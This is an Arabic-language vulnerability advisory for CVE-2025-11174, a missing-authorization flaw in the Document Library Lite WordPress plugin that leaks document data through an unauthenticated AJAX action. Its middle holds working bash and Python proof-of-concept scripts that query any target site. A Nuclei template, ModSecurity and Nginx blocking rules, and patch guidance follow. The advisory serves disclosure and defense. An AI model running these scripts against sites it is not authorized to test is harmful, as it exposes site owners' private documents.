
Document Library Lite <= 1.1.6 - غياب التفويض لكشف المعلومات الحساسة | CVE-2025-11174
الكلمات المفتاحية: CVE-2025-11174، ثغرة Document Library Lite، كشف المعلومات، أمن ووردبريس، استغلال AJAX غير مصادق عليه، ثغرة إضافة ووردبريس، CWE-862، أمن إضافة مستندات ووردبريس، تجاوز التفويض، ووردبريس CVE 2025
ثغرة كشف المعلومات في إضافة Document Library Lite لووردبريس (CVE-2025-11174) - خلل أمني يتيح الوصول غير المصادق عليه إلى بيانات المستندات الحساسة في إضافة مكتبة المستندات لووردبريس.
تم اكتشاف ثغرة تجاوز تفويض حرجة في إضافة Document Library Lite لووردبريس تتيح للمهاجمين غير المصادق عليهم الوصول إلى معلومات المستندات الحساسة دون مصادقة سليمة.
اكتشفها: Kai Aizen و Avraham Shemesh (SnailSploit)
تاريخ النشر: 1 نوفمبر 2025
درجة CVSS: 5.3 (متوسطة)
CWE: CWE-862 - فقدان التفويض
الإضافة: Document Library Lite
البائع: Barn2 Plugins
نوع الهجوم: كشف معلومات غير مصادق عليه
الصلاحيات المطلوبة: لا شيء (هجوم غير مصادق عليه)
إضافة Document Library Lite لووردبريس تحتوي على ثغرة تفويض غير سليمة في جميع الإصدارات حتى 1.1.6 وما دون. تُعرّض الإضافة إجراء AJAX غير مصادق عليه dll_load_posts يعيد جدول JSON من بيانات المستندات دون إجراء فحوصات nonce أو فحوصات الصلاحيات.
تتيح هذه الثغرة للمهاجمين غير المصادق عليهم:
ملاحظة: تعكس درجة CVSS البالغة 5.3 (شدة متوسطة) كشف معلومات محدودًا. بينما تتيح الثغرة وصولًا غير مصادق عليه إلى بيانات المستندات، فإن التأثير يُقيَّم على أنه منخفض للسرية دون أي تأثير على السلامة أو التوفر.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| المقياس | القيمة |
|---|---|
| متجه الهجوم | الشبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الصلاحيات المطلوبة | لا شيء (PR:N) |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | غير متغير (S:U) |
| السرية | منخفضة (C:L) |
| السلامة | لا شيء (I:N) |
| التوفر | لا شيء (A:N) |
تفصيل CVSS v3.1:
يتم تسجيل إجراء AJAX dll_load_posts دون فحوصات مصادقة أو تفويض سليمة:
// Vulnerable code pattern (simplified)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
تشير البادئة wp_ajax_nopriv_ إلى أن هذا الإجراء متاح للمستخدمين غير المصادق عليهم، ولا تنفذ دالة الاستدعاء ما يلي:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
يمكن استغلال الثغرة عبر نقطة نهاية admin-ajax.php في ووردبريس دون مصادقة.
⚠️ لأغراض التعليم والاختبار المصرح به فقط
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
إجراء فوري مطلوب:
admin-ajax.php مع action=dll_load_postsعبر لوحة تحكم ووردبريس:
باستخدام WP-CLI:
wp plugin update document-library-lite
تأكد من أن جميع معالجات AJAX تنفذ ضوابط أمنية سليمة:
// Example of proper AJAX security
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Verify nonce
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Invalid nonce');
}
// Check capabilities
if (!current_user_can('read')) {
wp_send_json_error('Insufficient permissions');
wp_die();
}
// Your secure code here
}
# Check if vulnerable version is installed
wp plugin list | grep -i "document-library-lite"
قالب Nuclei:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
قاعدة ModSecurity:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
قاعدة Nginx/OpenResty:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
الباحثون:
عملية الإفصاح: إفصاح منسق
تُقدَّم هذه المعلومات لأغراض البحث الأمني والدفاع فقط. أي استغلال لهذه الثغرة لأغراض خبيثة هو أمر غير قانوني وغير أخلاقي. احصل دائمًا على إذن مناسب قبل اختبار أنظمة لا تملكها.
للاستفسارات أو معلومات إضافية حول هذه الثغرة:
آخر تحديث: 2 نوفمبر 2025
يوجد الشرح الكامل لهذا المشروع، والمنهجية، والأبحاث ذات الصلة في:
أُنشئ بواسطة Kai Aizen — باحث أمني هجومي مستقل.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
نفس الهجوم. ركيزة مختلفة.